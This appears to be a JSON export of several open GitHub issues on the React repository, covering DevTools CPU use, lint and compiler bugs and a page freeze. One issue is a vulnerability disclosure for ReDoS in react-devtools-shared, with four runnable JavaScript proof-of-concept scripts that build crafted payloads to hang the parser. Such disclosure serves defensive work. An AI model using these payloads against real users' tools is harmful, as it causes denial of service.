"id": 3817032252,
"node_id": "I_kwDOAJy2Ks7jg0o8",
"number": 35515,
"title": "[DevTools Bug]: High CPU usage when viewing Google Search results",
"user": {
"login": "ferrybig",
"id": 1576684,
"node_id": "MDQ6VXNlcjE1NzY2ODQ=",
"avatar_url": "https://avatars.githubusercontent.com/u/1576684?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/ferrybig",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929151,
"node_id": "MDU6TGFiZWw0MDkyOTE1MQ==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug",
"name": "Type: Bug",
"color": "b60205",
"default": false,
"description": null
},
"1": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
},
"2": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 1,
"created_at": "2026-01-15T10:53:20Z",
"updated_at": "2026-01-15T14:24:37Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "### Website or app\n\nhttps://www.google.com/search?client=firefox-b-d&q=sociale+huur+samenwonen\n\n### Repro steps\n\nI noticed my fans started whining, so I looked into the system monitor for the cause. The cause was firefox and the webextensions process. Looking into the firefox task manager, it showed a google tab and extensons being high.\n\nProfiling using the debugger (pausing then pressing play again multiple times and looking what places are executed), showed this extension and some script (that handled `message` events) on google.com as the cause. \n\nDebugging using `window.addEventListener('message', (e) => console.log(e))` showed the following spam repeated:\n\n```\nmessage { target: Window, isTrusted: true, data: {â¦}, origin: \"https://www.google.com\", lastEventId: \"\", source: Window, ports: Restricted, srcElement: Window, currentTarget: Window, eventPhase: 2, ⦠}\nâ\nbubbles: false\nâ\ncancelBubble: false\nâ\ncancelable: false\nâ\ncomposed: false\nâ\ncurrentTarget: null\nâ\ndata: Object { source: \"react-devtools-content-script\", hello: true }\nâ\ndefaultPrevented: false\nâ\neventPhase: 0\nâ\nexplicitOriginalTarget: Window https://www.google.com/search?client=firefox-b-d&q=sociale+huur+samenwonen\nâ\nisTrusted: true\nâ\nlastEventId: \"\"\nâ\norigin: \"https://www.google.com\"\nâ\noriginalTarget: Window https://www.google.com/search?client=firefox-b-d&q=sociale+huur+samenwonen\nâ\nports: Array []\nâ\nreturnValue: true\nâ\nsource: Window https://www.google.com/search?client=firefox-b-d&q=sociale+huur+samenwonen\nâ\nsrcElement: Window https://www.google.com/search?client=firefox-b-d&q=sociale+huur+samenwonen\nâ\ntarget: Window https://www.google.com/search?client=firefox-b-d&q=sociale+huur+samenwonen\nâ\ntimeStamp: 536381\nâ\ntype: \"message\"\nâ\n
\n\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35500/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35499",
"id": 3807758362,
"node_id": "I_kwDOAJy2Ks7i9cga",
"number": 35499,
"title": "[Compiler Bug]: react-hooks/exhaustive-deps conflicts with idea of React compiler in terms of functions memoization",
"user": {
"login": "kaguya3222",
"id": 55194394,
"node_id": "MDQ6VXNlcjU1MTk0Mzk0",
"avatar_url": "https://avatars.githubusercontent.com/u/55194394?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/kaguya3222",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929151,
"node_id": "MDU6TGFiZWw0MDkyOTE1MQ==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug",
"name": "Type: Bug",
"color": "b60205",
"default": false,
"description": null
},
"1": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 4,
"created_at": "2026-01-13T08:33:31Z",
"updated_at": "2026-01-21T12:20:44Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://github.com/kaguya3222/react-compiler-exhaustive-deps-repro\n\n### Repro steps\n\n1. Clone the repo\n2. `pnpm install`\n3. `pnpm lint` \n4. Explore the linting error\n\n```log\nerror The 'logCount' function makes the dependencies of useEffect Hook (at line 22) change on every render. To fix this, wrap the definition of 'logCount' in its own useCallback() Hook react-hooks/exhaustive-deps\n```\n\n`App.tsx` file has a component named `App`. In this component we have a function `logCount`, used in useEffect. `react-hooks/exhaustive-deps` says: `React Hook useEffect has a missing dependency: 'logCount'. Either include it or remove the dependency array.`. After adding it to dependency array it says: `The 'logCount' function makes the dependencies of useEffect Hook (at line 22) change on every render. To fix this, wrap the definition of 'logCount' in its own useCallback() Hook.`\n\nThe problem is that I don't need to wrap this function into a `useCallback`, because compiler will do it for me. \nDisabling eslint at the line of `logCount` definition is an option, but I don't think it's a good approach in the long term.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.0\n\n### What version of React Compiler are you using?\n\n1.0.0",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35499/reactions",
"total_count": 7,
"+1": 5,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 2,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35490",
"id": 3804421244,
"node_id": "I_kwDOAJy2Ks7iwtx8",
"number": 35490,
"title": "Bug: Inefficient Regular Expression Complexity in react",
"user": {
"login": "guiyi-he",
"id": 113507098,
"node_id": "U_kgDOBsP7Gg",
"avatar_url": "https://avatars.githubusercontent.com/u/113507098?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/guiyi-he",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 9,
"created_at": "2026-01-12T13:52:26Z",
"updated_at": "2026-01-28T15:22:05Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "### Summary\nA Regular Expression Denial of Service (ReDoS) vulnerability was identified in Facebook React within the react-devtools-shared package. The issue exists in the backend/utils.js component, specifically within the regular expressions used for parsing at lines 368, 369, 381, and 417. By providing a specially crafted input string to the DevTools backend, an attacker or a malicious website being inspected can trigger catastrophic backtracking. This leads to excessive CPU consumption and causes the browser tab or the DevTools process to become unresponsive, resulting in a Denial of Service (DoS).\n\n### Details\nhttps://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L368\nhttps://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L369\nhttps://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L381\nhttps://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L417\n\n\n### PoC\nPoC for `line 368`:\n```js\n/**\n * ReDoS PoC for regexId: 6 (Validated and Optimized)\n *\n * Target Regex: /\\)+$/\n * Dataflow Path: componentStack -> split('\\n') -> trim() -> replace(/^\\(+/) -> SINK: replace(/\\)+$/)\n * Path Constraints: Must pass Chrome stack format check\n * Data Transformations: split('\\n'), trim(), replace(/^\\(+/, \"\")\n *\n * Generated Time: 2025-12-02\n * Phase: Phase 3 - Optimized (2 iterations)\n * Status: VALIDATED SUCCESS\n *\n * === VALIDATION RESULTS ===\n * Phase 2 Result: FAILED (Not reaching target Sink)\n * Phase 3 Iterations: 2\n *\n * Iteration 1: Added ':' to suffix to satisfy path constraint (url.indexOf(':') !== -1)\n * Result: Reached Sink but insufficient time (1.455s < 2000ms)\n *\n * Iteration 2: Increased repeatTimes from 80,000 to 200,000\n * Result: SUCCESS - Sink execution time 9.123s (Standard A: > 2000ms)\n *\n * Final Validation Metrics:\n * - Sink Execution Time: 9.123s\n * - Total Execution Time: ~9.5s\n * - Success Criteria: Standard A (> 2000ms)\n * - Production Ready: YES\n */\n\nimport { parseSourceFromComponentStack } from './utils.js';\n\nconsole.log(\"[+] Constructing base attack payload...\");\nconsole.log(\"[+] Target Vulnerability: regexId 6\");\nconsole.log(\"[+] Vulnerable Regex: /\\\\)+$/\");\n\n// Using vulnerability report attack components to construct base payload\nconst prefix = \"\";\nconst infix = \")\";\nconst suffix = \"â\";\nconst repeatTimes = 200000; // Iteration 2: Increased from 80000 to 200000 (1455ms -> target 2000ms)\n\nconst base_payload = prefix + infix.repeat(repeatTimes) + suffix;\nconsole.log(`[+] Base payload length: ${base_payload.length} characters`);\n\nconsole.log(\"\\n[+] Analyzing dataflow path constraints...\");\nconsole.log(\"[+] Source: componentStack (parameter)\");\nconsole.log(\"[+] Sink: Line 368, replace(/\\\\)+$/, \\\"\\\")\");\nconsole.log(\"[+] Transformations identified:\");\nconsole.log(\" - split('\\\\n'): Splits string into array\");\nconsole.log(\" - trim(): Removes whitespace\");\nconsole.log(\" - replace(/^\\\\(+/, \\\"\\\"): Removes leading parentheses\");\n\nconsole.log(\"\\n[+] Payload adjustment analysis:\");\nconsole.log(\" - Original suffix 'â' does not contain \\\\n â unaffected by split()\");\nconsole.log(\" - Suffix is not whitespace â unaffected by trim()\");\nconsole.log(\" - No leading '(' in payload â unaffected by replace(/^\\\\(+/)\");\nconsole.log(\" - PROBLEM: extractLocation requires ':' in payload (url.indexOf(':') !== -1)\");\nconsole.log(\" - Strategy (Iteration 1): Add ':' before suffix to satisfy constraint\");\n\n// Add ':' to satisfy extractLocation constraint while maintaining ReDoS pattern\nconst final_payload = base_payload.substring(0, base_payload.length - 1) + \":â\";\nconsole.log(`[+] Final payload length: ${final_payload.length} characters`);\n\nconsole.log(\"\\n[!] Preparing to trigger ReDoS vulnerability...\");\nconsole.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);\n\nconsole.time(\"ReDoS-Attack-Time\");\ntry {\n parseSourceFromComponentStack(final_payload);\n console.log(\"\\n[+] Function execution completed\");\n} catch (e) {\n console.log(\"\\n[!] Function threw exception:\", e.message);\n}\nconsole.timeEnd(\"ReDoS-Attack-Time\");\n\nconsole.log(\"\\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.\");\nconsole.log(\"\\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.\");\n\n/* How to use:\n * 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L368\n * 2.Put poc.js and utils.js in the same folder\n * 3.Enter the command in the terminal: node poc.js\n * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.\n*/\n```\nPoC for `line 369`:\n```js\n/**\n * ReDoS PoC for regexId: 7 (Validated - Phase 2 Success)\n *\n * Target Regex: /(at )?(.+?)(?::(\\d+))?(?::(\\d+))?$/\n * Dataflow Path: componentStack -> split('\\n') -> trim() -> replace(/^\\(+/) -> replace(/\\)+$/) -> SINK: .exec()\n * Path Constraints: Must pass Chrome stack format check\n * Data Transformations: split('\\n'), trim(), replace(/^\\(+/, \"\"), replace(/\\)+$/, \"\")\n *\n * Generated Time: 2025-12-02\n * Phase: Phase 2 - Validated (No iterations needed)\n * Status: VALIDATED SUCCESS\n *\n * === VALIDATION RESULTS ===\n * Phase 2 Result: SUCCESS (First attempt)\n * Phase 3 Iterations: 0 (No optimization needed)\n *\n * Key Strategy: Replaced '\\n' with '\\r' in suffix to preserve '.' metacharacter non-matching\n * behavior while avoiding split() transformation issues\n *\n * Final Validation Metrics:\n * - Sink Execution Time: 3.061s\n * - Total Execution Time: ~3.5s\n * - Success Criteria: Standard B (> 1000ms)\n * - Production Ready: YES\n */\n\nimport { parseSourceFromComponentStack } from './utils.js';\n\nconsole.log(\"[+] Constructing base attack payload...\");\nconsole.log(\"[+] Target Vulnerability: regexId 7\");\nconsole.log(\"[+] Vulnerable Regex: /(at )?(.+?)(?::(\\\\d+))?(?::(\\\\d+))?$/\");\n\n// Using vulnerability report attack components to construct base payload\nconst prefix = \"\\u0000\";\nconst infix = \"\\u0000:0\";\nconst suffix_original = \"\\n!\\n!\";\nconst repeatTimes = 10000;\n\nconsole.log(\"\\n[+] Analyzing dataflow path constraints...\");\nconsole.log(\"[+] Source: componentStack (parameter)\");\nconsole.log(\"[+] Sink: Line 375, /(at )?(.+?)(?::(\\\\d+))?(?::(\\\\d+))?$/.exec()\");\nconsole.log(\"[+] Transformations identified:\");\nconsole.log(\" - split('\\\\n'): Splits string into array\");\nconsole.log(\" - trim(): Removes whitespace\");\nconsole.log(\" - replace(/^\\\\(+/, \\\"\\\"): Removes leading parentheses\");\nconsole.log(\" - replace(/\\\\)+$/, \\\"\\\"): Removes trailing parentheses\");\n\nconsole.log(\"\\n[+] Payload adjustment analysis:\");\nconsole.log(\" - Original suffix contains '\\\\n' â will be affected by split()\");\nconsole.log(\" - Regex contains '.' metacharacter which does not match \\\\n\");\nconsole.log(\" - Strategy: Replace \\\\n with \\\\r (carriage return) to maintain non-matching property\");\n\nconst suffix_adjusted = suffix_original.replace(/\\n/g, '\\r');\nconsole.log(` - Adjusted suffix: ${JSON.stringify(suffix_adjusted)}`);\n\nconst base_payload = prefix + infix.repeat(repeatTimes) + suffix_adjusted;\nconsole.log(`[+] Base payload length: ${base_payload.length} characters`);\n\nconst final_payload = base_payload;\nconsole.log(`[+] Final payload length: ${final_payload.length} characters`);\n\nconsole.log(\"\\n[!] Preparing to trigger ReDoS vulnerability...\");\nconsole.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);\n\nconsole.time(\"ReDoS-Attack-Time\");\ntry {\n parseSourceFromComponentStack(final_payload);\n console.log(\"\\n[+] Function execution completed\");\n} catch (e) {\n console.log(\"\\n[!] Function threw exception:\", e.message);\n}\nconsole.timeEnd(\"ReDoS-Attack-Time\");\n\nconsole.log(\"\\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.\");\nconsole.log(\"\\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.\");\n/* How to use:\n * 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L369\n * 2.Put poc.js and utils.js in the same folder\n * 3.Enter the command in the terminal: node poc.js\n * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.\n*/\n```\nPoC for `line 381`:\n```js\n/**\n * ReDoS PoC for regexId: 10 (Validated and Optimized)\n *\n * Target Regex: /^\\s*at .*(\\S+:\\d+|\\(native\\))/m\n * Dataflow Path: componentStack -> SINK: .match() (direct, no transformations)\n * Path Constraints: None (direct match on entry)\n * Data Transformations: None\n *\n * Generated Time: 2025-12-02\n * Phase: Phase 3 - Optimized (1 iteration)\n * Status: VALIDATED SUCCESS\n *\n * === VALIDATION RESULTS ===\n * Phase 2 Result: FAILED (Reached Sink but insufficient ReDoS time)\n * Phase 3 Iterations: 1\n *\n * Iteration 1: Increased repeatTimes from 40,000 to 100,000\n * Root Cause: Payload length insufficient to trigger prolonged backtracking (570ms < 2000ms)\n * Strategy: Increase repeatTimes by 2.5x to reach target execution time\n * Result: SUCCESS - Sink execution time 3.429s (Standard A: > 2000ms)\n *\n * Final Validation Metrics:\n * - Sink Execution Time: 3.429s\n * - Total Execution Time: ~3.8s\n * - Success Criteria: Standard A (> 2000ms)\n * - Production Ready: YES\n */\n\nimport { parseSourceFromComponentStack } from './utils.js';\n\nconsole.log(\"[+] Constructing base attack payload...\");\nconsole.log(\"[+] Target Vulnerability: regexId 10\");\nconsole.log(\"[+] Vulnerable Regex: /^\\\\s*at .*(\\\\S+:\\\\d+|\\\\(native\\\\))/m\");\n\n// Using vulnerability report attack components to construct base payload\nconst prefix = \"at \";\nconst infix = \"\\u0000\";\nconst suffix = \" \";\nconst repeatTimes = 100000; // Iteration 1: Increased from 40000 to 100000 (540ms -> target 2000ms)\n\nconst base_payload = prefix + infix.repeat(repeatTimes) + suffix;\nconsole.log(`[+] Base payload length: ${base_payload.length} characters`);\n\nconsole.log(\"\\n[+] Analyzing dataflow path constraints...\");\nconsole.log(\"[+] Source: componentStack (parameter)\");\nconsole.log(\"[+] Sink: Line 459, componentStack.match(CHROME_STACK_REGEXP)\");\nconsole.log(\"[+] Note: This regex is checked FIRST, before any transformations\");\nconsole.log(\"[+] Transformations identified: NONE - direct match on entry\");\n\nconsole.log(\"\\n[+] Payload adjustment analysis:\");\nconsole.log(\" - No transformations in dataflow\");\nconsole.log(\" - Original payload can be used directly\");\nconsole.log(\" - Using original payload without modification\");\n\nconst final_payload = base_payload;\nconsole.log(`[+] Final payload length: ${final_payload.length} characters`);\n\nconsole.log(\"\\n[!] Preparing to trigger ReDoS vulnerability...\");\nconsole.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);\n\nconsole.time(\"ReDoS-Attack-Time\");\ntry {\n parseSourceFromComponentStack(final_payload);\n console.log(\"\\n[+] Function execution completed\");\n} catch (e) {\n console.log(\"\\n[!] Function threw exception:\", e.message);\n}\nconsole.timeEnd(\"ReDoS-Attack-Time\");\n\nconsole.log(\"\\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.\");\nconsole.log(\"\\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.\");\n\n/* How to use:\n * 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L381\n * 2.Put poc.js and utils.js in the same folder\n * 3.Enter the command in the terminal: node poc.js\n * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.\n*/\n```\nPoC for `line 417`:\n```js\n/**\n * ReDoS PoC for regexId: 9 (Validated and Optimized)\n *\n * Target Regex: /((.*\".+\"[^@]*)?[^@]*)(?:@)/\n * Dataflow Path: componentStack -> split('\\n') -> trim() -> SINK: .replace()\n * Path Constraints: Must fail Chrome stack format check (goes to Firefox path)\n * Data Transformations: split('\\n'), trim()\n *\n * Generated Time: 2025-12-02\n * Phase: Phase 3 - Optimized (1 iteration)\n * Status: VALIDATED SUCCESS\n *\n * === VALIDATION RESULTS ===\n * Phase 2 Result: FAILED (Reached Sink but no ReDoS)\n * Phase 3 Iterations: 1\n *\n * Iteration 1: Removed '@' from suffix (changed @ to !) to prevent regex matching\n * Root Cause: Original suffix '\\r@\\r@' allowed regex to match successfully, no backtracking\n * Strategy: Replace '@' with '!' to force regex matching failure and trigger backtracking\n * Result: SUCCESS - Sink execution time > 30s (exceeded timeout, Standard A: > 2000ms)\n *\n * Final Validation Metrics:\n * - Sink Execution Time: > 30s (killed due to timeout)\n * - Total Execution Time: > 30s\n * - Success Criteria: Standard A (> 2000ms, exceeded significantly)\n * - Production Ready: YES (extremely effective)\n */\n\nimport { parseSourceFromComponentStack } from './utils.js';\n\nconsole.log(\"[+] Constructing base attack payload...\");\nconsole.log(\"[+] Target Vulnerability: regexId 9\");\nconsole.log(\"[+] Vulnerable Regex: /((.*\\\".+\\\"[^@]*)?[^@]*)(?:@)/\");\n\n// Using vulnerability report attack components to construct base payload\nconst prefix = \" \";\nconst infix = \"\\\"\\u0000\";\nconst suffix_original = \"\\n@\\n@\";\nconst repeatTimes = 5000;\n\nconsole.log(\"\\n[+] Analyzing dataflow path constraints...\");\nconsole.log(\"[+] Source: componentStack (parameter)\");\nconsole.log(\"[+] Sink: Line 432, sanitizedFrame.replace(/((.*\\\".+\\\"[^@]*)?[^@]*)(?:@)/, '')\");\nconsole.log(\"[+] Path: Must NOT match Chrome format â goes to Firefox parser\");\nconsole.log(\"[+] Transformations identified:\");\nconsole.log(\" - split('\\\\n'): Splits string into array\");\nconsole.log(\" - trim(): Removes whitespace\");\n\nconsole.log(\"\\n[+] Payload adjustment analysis:\");\nconsole.log(\" - Original suffix contains '\\\\n' â will be affected by split()\");\nconsole.log(\" - Original suffix contains '@' â will be matched by regex (?:@), causing regex to succeed\");\nconsole.log(\" - Strategy (Iteration 1): Remove '@' from suffix to prevent regex from matching\");\nconsole.log(\" - Replace \\\\n with \\\\r, and replace @ with !\");\n\nconst suffix_adjusted = suffix_original.replace(/\\n/g, '\\r').replace(/@/g, '!');\nconsole.log(` - Adjusted suffix: ${JSON.stringify(suffix_adjusted)}`);\n\nconst base_payload = prefix + infix.repeat(repeatTimes) + suffix_adjusted;\nconsole.log(`[+] Base payload length: ${base_payload.length} characters`);\n\nconst final_payload = base_payload;\nconsole.log(`[+] Final payload length: ${final_payload.length} characters`);\n\nconsole.log(\"\\n[!] Preparing to trigger ReDoS vulnerability...\");\nconsole.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);\n\nconsole.time(\"ReDoS-Attack-Time\");\ntry {\n parseSourceFromComponentStack(final_payload);\n console.log(\"\\n[+] Function execution completed\");\n} catch (e) {\n console.log(\"\\n[!] Function threw exception:\", e.message);\n}\nconsole.timeEnd(\"ReDoS-Attack-Time\");\n\nconsole.log(\"\\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.\");\nconsole.log(\"\\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.\");\n\n/* How to use:\n * 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L417\n * 2.Put poc.js and utils.js in the same folder\n * 3.Enter the command in the terminal: node poc.js\n * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.\n*/\n```\n\n### Impact\nVulnerability Type\nThis is a `Regular Expression Denial of Service (ReDoS) vulnerability`. It falls under the category of Availability impact. By exploiting the algorithmic complexity of specific regular expressions, an attacker can cause \"catastrophic backtracking,\" which leads to:\n* Resource Exhaustion: Rapid and sustained 100% CPU utilization on the user's machine.\n* Service Disruption: Complete unresponsiveness of the browser tab, the DevTools window, or the entire browser process.\n\nWho is Impacted?\nThe impact extends to several groups within the React ecosystem:\nFrontend Developers: The primary victims are developers using the React Developer Tools extension (or integrated library) to inspect applications. Opening the DevTools on a page containing a \"malicious\" component name or stack trace will trigger the hang, resulting in the loss of unsaved debugging data and workflow interruption.\nEnd Users (in specific contexts): If a React application includes the react-devtools-shared backend logic (e.g., in a development or staging environment), any user visiting the site with DevTools active could have their browser rendered unusable.\nLocal Systems: Because the heavy computation occurs in the browser's rendering engine or the extension's process, the overall system performance may degrade, affecting other running applications until the offending process is forcefully terminated.\n",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35490/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": [
35609,
35509
]
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35481",
"id": 3799954383,
"node_id": "I_kwDOAJy2Ks7ifrPP",
"number": 35481,
"title": "[Compiler Bug]: Hydration error with multiline className",
"user": {
"login": "V-iktor",
"id": 119683570,
"node_id": "U_kgDOByI58g",
"avatar_url": "https://avatars.githubusercontent.com/u/119683570?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/V-iktor",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929151,
"node_id": "MDU6TGFiZWw0MDkyOTE1MQ==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug",
"name": "Type: Bug",
"color": "b60205",
"default": false,
"description": null
},
"1": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 3,
"created_at": "2026-01-10T15:53:02Z",
"updated_at": "2026-02-25T11:38:58Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://github.com/V-iktor/hydration\n\n### Repro steps\n\n1. Start the application\n2. Open the webpage\n3. See the hydration error\n\n### Additional context\n\nBefore turning on React compiler the site loaded normally.\n\nAfter adding the babel plugin and enabling the React compiler I got hydration errors.\n\n> A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:\n\n```\n
\n\nIt appears that in the past, despite being an unconventional and 'incorrect' method, React v15's tolerance for nesting tags within the DOM effectively prevented this critical issue. By allowing the malformed structure to persist rather than repeatedly attempting to 'fix' it, the browser was able to avoid the recursive rendering conflict that now leads to a total system freeze.\nWhile nesting tags is invalid HTML, the shift from a 'malformed UI' in v15 to a 'system-wide freeze' in v18 feels like an unintended side effect on the framework's resilience.\n\n## The expected behavior\n\nImplement Iteration Limits and Explicit Error Reporting:\n\nSet a maximum iteration count within React's event traversal logic to prevent synchronous infinite loops.\n\nCrucially, if the search limit is exceeded or the target element cannot be resolved, React should throw an explicit runtime error. This ensures that the framework fails gracefully and provides immediate feedback to the developer, rather than hanging the UI thread silently.\n\nBuild-time Validation: Adjust the React compiler or associated build tools to trigger a build-time error when body tags are nested inappropriately within the component tree.\n\nImpact: This is a \"Silent Crash\" bug that renders the debugging experience extremely difficult. By replacing a terminal browser hang with a clear runtime error, we can significantly enhance the Runtime Robustness and Developer Experience (DX) of the React ecosystem.",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35480/reactions",
"total_count": 1,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 1
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35475",
"id": 3797511557,
"node_id": "I_kwDOAJy2Ks7iWW2F",
"number": 35475,
"title": "Bug: React 19.2 component performance track causes side-effects in mobx -> add way to disable?",
"user": {
"login": "ahoisl",
"id": 32290337,
"node_id": "MDQ6VXNlcjMyMjkwMzM3",
"avatar_url": "https://avatars.githubusercontent.com/u/32290337?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/ahoisl",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 1,
"created_at": "2026-01-09T16:11:33Z",
"updated_at": "2026-01-27T15:57:51Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
